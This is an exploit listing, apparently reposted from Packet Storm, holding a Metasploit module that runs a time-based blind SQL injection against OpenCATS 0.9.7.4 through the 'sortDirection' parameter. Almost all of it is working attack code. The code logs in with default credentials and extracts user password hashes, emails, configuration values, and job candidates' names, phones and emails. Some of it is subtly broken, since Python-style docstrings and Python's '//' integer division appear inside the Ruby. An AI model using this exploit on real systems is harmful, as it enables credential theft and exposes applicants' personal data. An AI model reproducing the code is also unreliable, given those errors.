Share
## https://sploitus.com/exploit?id=PACKETSTORM:225449
==================================================================================================================================
| # Title : OpenCATS 0.9.7.4 SQL Injection Time-Based Blind |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits) |
| # Vendor : https://github.com/opencats/OpenCATS |
==================================================================================================================================
[+] Summary : A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
The vulnerability is present in the `ajax.php` endpoint when handling the`sortDirection` parameter.
[+] POC :
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenCATS 0.9.7.4 SQL Injection (Time-Based Blind)',
'Description' => %q{
A SQL injection vulnerability exists in OpenCATS versions prior to 0.9.7.5.
The vulnerability is present in the `ajax.php` endpoint when handling the
`sortDirection` parameter. An authenticated attacker can perform time-based
blind SQL injection to extract sensitive information from the database,
including user credentials, configuration data, and candidate information.
This module exploits the vulnerability by injecting SQL code into the
`sortDirection` parameter of the `getDataGridPager` action. The injection
uses time-based delays to infer data from the database character by character.
Tested on OpenCATS 0.9.7.4 with PHP and MariaDB/MySQL.
},
'Author' => ['indoushka'],
'References' => [
['URL', 'https://github.com/opencats/OpenCATS'],
['URL', 'https://github.com/opencats/OpenCATS/security/advisories'],
['URL', 'https://www.opencats.org']
],
'DisclosureDate' => '2026-04-29',
'License' => MSF_LICENSE,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base OpenCATS path', '/']),
OptString.new('USERNAME', [true, 'OpenCATS username', 'admin']),
OptString.new('PASSWORD', [true, 'OpenCATS password', 'cats']),
OptInt.new('DELAY', [false, 'Time delay for blind injection (seconds)', 1]),
OptInt.new('THREADS', [false, 'Number of threads for extraction', 1]),
OptEnum.new('EXTRACT_MODE', [true, 'What to extract', 'ALL', ['USERS', 'CONFIG', 'CANDIDATES', 'ALL']])
])
end
def login
print_status("Authenticating to OpenCATS at #{peer}")
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.php')
)
if res.nil?
print_error("Failed to reach login page")
return false
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php'),
'vars_get' => { 'm' => 'login', 'a' => 'attemptLogin' },
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
},
'keep_cookies' => true
)
if res && (res.code == 302 || res.code == 200)
if res.headers['Location'] && !res.headers['Location'].include?('login')
print_good("Authentication successful")
return true
elsif res.body && !res.body.include?('Invalid')
print_good("Authentication successful")
return true
end
end
print_error("Authentication failed. Check credentials.")
false
end
def send_sqli_request(payload, timeout = 10)
"""
Send SQL injection payload through the vulnerable parameter.
The vulnerability is in the sortDirection parameter of the getDataGridPager action.
"""
params = {
'f' => 'getDataGridPager',
'i' => 'candidates:candidatesListByViewDataGrid',
'p' => {
'sortBy' => 'dateModifiedSort',
'sortDirection' => payload,
'rangeStart' => 0,
'maxResults' => 15
}.to_json
}
begin
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ajax.php'),
'vars_get' => params,
'timeout' => timeout,
'keep_cookies' => true
)
return res
rescue ::Rex::ConnectionTimeout, ::Errno::ECONNRESET
return nil
end
end
def measure_response_time(payload)
"""
Measure response time for a given SQL injection payload.
Returns the response time in seconds.
"""
start_time = Time.now
send_sqli_request(payload, datastore['DELAY'] + 5)
elapsed_time = Time.now - start_time
elapsed_time
end
def get_baseline_time
"""
Get baseline response time without any sleep injection.
"""
normal_payload = "DESC"
measure_response_time(normal_payload)
end
def test_vulnerability
"""
Test if the target is vulnerable to time-based blind SQL injection.
"""
print_status("Testing for time-based blind SQL injection...")
baseline = get_baseline_time
print_status("Baseline response time: #{'%.2f' % baseline}s")
sleep_payload = "DESC,SLEEP(#{datastore['DELAY']})"
sleep_time = measure_response_time(sleep_payload)
print_status("Response time with SLEEP: #{'%.2f' % sleep_time}s")
if sleep_time > baseline + (datastore['DELAY'] * 0.6)
print_good("Target appears vulnerable to time-based blind SQL injection!")
return true
else
print_error("Target does not appear vulnerable")
return false
end
end
def blind_condition(condition, delay = datastore['DELAY'])
"""
Execute a blind SQL injection condition and return true if condition is true.
Uses time-based detection: SLEEP(delay) if condition is true.
"""
payload = "DESC,IF((#{condition}),SLEEP(#{delay}),0)"
response_time = measure_response_time(payload)
baseline = get_baseline_time
response_time > baseline + (delay * 0.6)
end
def extract_string(query, max_length = 100)
"""
Extract a string from the database using binary search on character values.
"""
result = ""
print_status("Extracting: #{query}")
length = 0
(1..max_length).each do |i|
condition = "LENGTH((#{query})) < #{i}"
if blind_condition(condition)
length = i - 1
break
end
length = i
end
print_status(" Length: #{length}")
(1..length).each do |pos|
lo = 32
hi = 126
while lo < hi
mid = (lo + hi) // 2
condition = "ORD(SUBSTRING((#{query}), #{pos}, 1)) > #{mid}"
if blind_condition(condition)
lo = mid + 1
else
hi = mid
end
end
result += lo.chr
print_status(" Progress: #{pos}/#{length} -> #{result}")
end
result
end
def extract_integer(query, max_bits = 32)
"""
Extract an integer from the database using bit-by-bit extraction.
"""
result = 0
(0..max_bits).each do |bit|
condition = "((#{query}) >> #{bit}) & 1 = 1"
if blind_condition(condition)
result |= (1 << bit)
end
end
result
end
def get_database_info
"""
Extract basic database information.
"""
info = {}
print_status("Extracting database information...")
info['version'] = extract_string("@@version", 30)
info['database'] = extract_string("DATABASE()", 30)
info['user'] = extract_string("USER()", 30)
info
end
def extract_users
"""
Extract user credentials from the user table.
"""
print_status("Extracting user information...")
users = []
count_query = "SELECT COUNT(*) FROM user"
user_count = extract_integer(count_query)
print_good("Found #{user_count} user(s)")
(0...user_count).each do |offset|
user = {}
username_query = "SELECT user_name FROM user ORDER BY user_id LIMIT #{offset},1"
user['username'] = extract_string(username_query, 40)
level_query = "SELECT access_level FROM user ORDER BY user_id LIMIT #{offset},1"
user['access_level'] = extract_integer(level_query, 8)
hash_query = "SELECT password FROM user ORDER BY user_id LIMIT #{offset},1"
user['password_hash'] = extract_string(hash_query, 62)
email_query = "SELECT email FROM user ORDER BY user_id LIMIT #{offset},1"
user['email'] = extract_string(email_query, 60)
users << user
print_good(" User #{offset+1}: #{user['username']} (level: #{user['access_level']})")
print_status(" Hash: #{user['password_hash']}")
print_status(" Email: #{user['email']}") if user['email']
end
users
end
def extract_candidates
"""
Extract candidate information from the candidate table.
"""
print_status("Extracting candidate information...")
candidates = []
count_query = "SELECT COUNT(*) FROM candidate"
candidate_count = extract_integer(count_query)
print_status("Found #{candidate_count} candidate(s)")
if candidate_count > 10
print_warning("Large number of candidates (#{candidate_count}). Extraction may take time.")
end
max_to_extract = [candidate_count, 20].min # Limit to 20 candidates for performance
print_status("Extracting first #{max_to_extract} candidates...")
(0...max_to_extract).each do |offset|
candidate = {}
first_name_query = "SELECT firstName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['first_name'] = extract_string(first_name_query, 30)
last_name_query = "SELECT lastName FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['last_name'] = extract_string(last_name_query, 30)
email_query = "SELECT email FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['email'] = extract_string(email_query, 50)
phone_query = "SELECT phoneHome FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['phone'] = extract_string(phone_query, 20)
company_query = "SELECT company FROM candidate ORDER BY candidateId LIMIT #{offset},1"
candidate['company'] = extract_string(company_query, 50)
candidates << candidate
print_status(" Candidate #{offset+1}: #{candidate['first_name']} #{candidate['last_name']} - #{candidate['email']}")
end
candidates
end
def extract_config
"""
Extract configuration settings from the config table.
"""
print_status("Extracting configuration settings...")
config = {}
config_keys = [
'site_name', 'site_url', 'admin_email', 'language',
'timezone', 'date_format', 'currency', 'company_name'
]
config_keys.each do |key|
query = "SELECT value FROM config WHERE setting = '#{key}' LIMIT 1"
value = extract_string(query, 100)
config[key] = value if value && !value.empty?
end
config
end
def run_host(ip)
print_status("Starting OpenCATS SQL Injection scan against #{peer}")
unless login
print_error("Login failed. Cannot proceed with SQL injection.")
return
end
unless test_vulnerability
print_error("Target does not appear vulnerable to time-based blind SQL injection.")
return
end
print_good("Target confirmed vulnerable to SQL injection!")
extraction_mode = datastore['EXTRACT_MODE']
case extraction_mode
when 'USERS'
users = extract_users
users.each do |user|
report_cred(
host: ip,
port: datastore['RPORT'],
service_name: 'opencats',
user: user['username'],
private_data: user['password_hash'],
private_type: :nonreplayable_hash,
realm_key: 'access_level',
realm_value: user['access_level']
)
end
when 'CONFIG'
config = extract_config
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.config',
data: config,
update: :unique_data
)
when 'CANDIDATES'
candidates = extract_candidates
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.candidates',
data: candidates,
update: :unique_data
)
when 'ALL'
db_info = get_database_info
users = extract_users
config = extract_config
candidates = extract_candidates
print_good("\n" + "=" * 60)
print_good("EXTRACTION COMPLETE!")
print_good("=" * 60)
print_status("Database: #{db_info['database']}")
print_status("MySQL Version: #{db_info['version']}")
print_status("Database User: #{db_info['user']}")
print_status("\nUsers found: #{users.length}")
print_status("Configuration settings: #{config.length}")
print_status("Candidates extracted: #{candidates.length}")
report_note(
host: ip,
port: datastore['RPORT'],
type: 'opencats.extracted_data',
data: {
'database_info' => db_info,
'users' => users,
'config' => config,
'candidates' => candidates
},
update: :unique_data
)
end print_good("SQL injection exploitation completed")
end
end
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================